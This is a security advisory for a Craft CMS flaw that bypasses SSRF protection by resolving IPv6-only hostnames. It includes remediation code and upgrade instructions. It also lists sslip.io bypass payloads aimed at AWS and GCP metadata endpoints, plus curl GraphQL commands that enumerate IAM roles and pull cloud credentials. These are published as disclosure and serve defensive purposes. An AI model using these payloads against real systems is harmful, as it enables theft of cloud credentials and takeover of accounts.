GHSA-v2gc-rm6g-wrw9 CVE-2026-27129
Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.46%
- Chance of exploitation in the next 30 days. Higher than 40.23% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
5.8.23- Upgrade craftcms/cms to this version or later
Description
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).
Required Permissions
Exploitation requires GraphQL schema permissions for:
- Edit assets in the
<VolumeName>volume - Create assets in the
<VolumeName>volume
These permissions may be granted to:
- Authenticated users with appropriate GraphQL schema access
- Public Schema (if misconfigured with write permissions)
Technical Details
Root Cause
From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"
When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.
Bypass Mechanism
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
Bypass Payloads
Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|---|---|---|---|
| AWS EC2 IMDS | 169.254.169.254 |
fd00:ec2::254 |
http://fd00-ec2--254.sslip.io/ |
| AWS ECS | 169.254.170.2 |
fd00:ec2::254 (via IMDS) |
http://fd00-ec2--254.sslip.io/ |
| Google Cloud GCP | 169.254.169.254 |
fd20:ce::254 |
http://fd20-ce--254.sslip.io/ |
| Azure | 169.254.169.254 |
No IPv6 endpoint | N/A |
| Alibaba Cloud | 100.100.100.200 |
No documented IPv6 | N/A |
| Oracle Cloud | 192.0.0.192 |
No documented IPv6 | N/A |
Additional IPv6 Internal Service Bypass Payloads
| Target | IPv6 Address | Bypass Payload |
|---|---|---|
| IPv6 Loopback | ::1 |
http://0-0-0-0-0-0-0-1.sslip.io/ |
| AWS NTP Service | fd00:ec2::123 |
http://fd00-ec2--123.sslip.io/ |
| AWS DNS Service | fd00:ec2::253 |
http://fd00-ec2--253.sslip.io/ |
| IPv4-mapped IPv6 | ::ffff:169.254.169.254 |
http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |
Steps to Reproduce
Step 1: Verify DNS Resolution
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
Step 2: Enumerate AWS IAM Role Name
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
Step 3: Retrieve AWS Credentials
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).
Attack Scenario
- Attacker finds Craft CMS instance with GraphQL asset mutations enabled
- Attacker sends mutation with
url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/" - Error message or saved file reveals IAM role name
- Attacker retrieves credentials via second mutation
- Attacker uses credentials to access AWS services
- Attacker can now achieve code execution by creating new EC2 instances with their SSH key
Remediation
Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
Additional Mitigations
| Mitigation | Description |
|---|---|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
Use dns_get_record() |
Resolves both IPv4 and IPv6 |
Resources
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
- GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
- AWS IMDS IPv6 Documentation
- GCP Metadata Server Documentation
- PayloadsAllTheThings - SSRF Cloud Instances
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| craftcms/cms | >= 5.0.0-RC1, < 5.8.23 |
5.8.23 |
| craftcms/cms | >= 3.5.0, < 4.16.19 |
4.16.19 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
craftcms/cms Packagist → 5.8.23
- composer
composer require craftcms/cms:^5.8.23
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- High
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7vrx-9684-xrf2 Craft CMS stores arbitrary content provided by unauthenticated users in session files | Medium Known exploited | Also affects craftcms/cms |
| GHSA-f3gw-9ww9-jmc3 Craft CMS Allows Remote Code Execution | Critical Known exploited | Also affects craftcms/cms |
| GHSA-x684-96hh-833x Craft CMS has a potential RCE with a compromised security key | High Known exploited | Also affects craftcms/cms |
| GHSA-2p6p-9rc9-62j9 Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled | Critical Known exploited | Also affects craftcms/cms |
| GHSA-wg23-69c2-gjc8 Craft CMS: Passkey login accepts replayed WebAuthn assertions | Medium | Also affects craftcms/cms |
| GHSA-957r-qf9p-67xw Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts | Medium | Also affects craftcms/cms |
| GHSA-596p-6jv8-775v Craft CMS: Authenticated leak of secret environment variables | Medium | Also affects craftcms/cms |
| GHSA-xxpx-f366-4xpq Craft CMS: Authorization bypass: view-only Categories user can modify category structure via structures/move-element | Medium | Also affects craftcms/cms |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor